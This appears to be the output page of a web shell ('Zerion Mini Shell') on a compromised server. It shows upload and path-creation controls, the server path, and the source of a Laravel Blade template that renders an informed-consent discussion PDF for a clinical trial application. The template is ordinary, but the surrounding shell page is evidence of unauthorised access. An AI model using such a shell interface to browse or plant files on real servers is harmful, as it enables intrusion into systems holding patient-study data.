%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/klinisol/klinisol-api/resources/views/pdf/
Upload File :
Create Path :
Current File : /var/www/html/klinisol/klinisol-api/resources/views/pdf/icd_questions.blade.php

<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <meta charset="utf-8">
    <style>
        .col-1 {
            width: 8.333333%;
        }

        .col-2 {
            width: 16.666667%;
        }

        .col-3 {
            width: 25%;
        }

        .col-4 {
            width: 33.333333%;
        }

        .col-5 {
            width: 41.666667%;
        }

        .col-6 {
            width: 50%;
        }

        .col-7 {
            width: 58.333333%;
        }

        .col-8 {
            width: 66.666667%;
        }

        .col-9 {
            width: 75%;
        }

        .col-10 {
            width: 83.333333%;
        }

        .col-11 {
            width: 91.666667%;
        }

        .col-12 {
            width: 100%;
        }

        .text-center {
            text-align: center;
        }

        table {
            border-collapse: collapse;
        }

        table.show-border, td.show-border, th.show-border {
            border: 1px solid black;
        }

        td.show-border {
            padding: 5px;
        }

        .custom-checkbox {
            display: inline-block;
            width: 15px;
            border: 1px solid black;
            text-align: center;
            margin-left: 15px;
        }

    </style>
</head>
<body>
<table style="width: 100%">
    <tr>
        <td class="col-6">
            <p>Protocol: {{$submission->protocol->code}}</p>
            <p>Patient: {{$submission->patient->code}}</p>
        </td>
        <td class="col-6">
            <p>{{$submission->protocol->irb_number}}</p>
            <p>Subject Initials: {{$submission->doctor->initials()}}</p>
        </td>
    </tr>
    <tr>
        <td colspan="2">
            <h2 class="text-center">INFORMED CONSENT DISCUSSION</h2>
        </td>
    </tr>
    <tr>
        <td colspan="2">
            <p>Date and time of signed ICF: {{\Carbon\Carbon::now()->format('d M Y')}}</p>
            <p>Initial to confirm the ICF is not expired AND is the latest version in IRB:
                <strong>{{$submission->doctor->initials()}}</strong></p>
        </td>
    </tr>
    <tr>
        <td colspan="2">
            <table style="width: 100%">
                <tr>
                    <td class="col-11 text-center">

                    </td>
                    <td class="col-1 text-center">
                        <b>Y/N</b>
                    </td>
                </tr>
                @foreach($submission->answers as $answer)
                    <tr>
                        <td class="show-border">
                            <span>{{$answer->question->question}}</span>
                        </td>
                        <td class="show-border">
                            <span>{{$answer->shortAnswer()}}</span>
                        </td>
                    </tr>
                @endforeach
                @foreach($extra_fields as $f)
                    <tr>
                        <td class="show-border">
                            <span>{{$f['title']}}:</span>
                            @if($f['type'] === 'checkbox')
                                @foreach($f['options'] as $option)
                                    <?php
                                    $v = head(array_filter($submission->extra_fields, function ($q) use ($f) {
                                        return $q['key'] === $f['key'];
                                    }));
                                    ?>
                                    @if(in_array($option['value'], $v ? $v['value']: []))
                                        <span class="custom-checkbox">x</span>
                                    @else
                                        <span class="custom-checkbox">&nbsp;</span>
                                    @endif
                                    <label>{{$option['title']}}</label>
                                @endforeach
                            @elseif($f['type'] === 'date')
                                <span>
                                    <?php
                                    $v = head(array_filter($submission->extra_fields, function ($q) use ($f) {
                                        return $q['key'] === $f['key'];
                                    }));
                                    ?>
                                    {{$v ? \Carbon\Carbon::parse($v['value'])->format('d M Y') : ''}}
                                </span>
                            @else
                                <?php
                                $v = head(array_filter($submission->extra_fields, function ($q) use ($f) {
                                    return $q['key'] === $f['key'];
                                }));
                                ?>
                                <span>{{$v ? $v['value'] : ''}}</span>
                            @endif
                        </td>
                        <td class="show-border"></td>
                    </tr>
                @endforeach
            </table>
        </td>
    </tr>
    <tr>
        <td class="col-9" style="padding-top: 70px;">
            Coordinator Signature
        </td>
        <td class="col-3" style="padding-top: 70px;">
            Date: {{$submission->created_at}}
        </td>
    </tr>
</table>
</body>
</html>

Zerion Mini Shell 1.0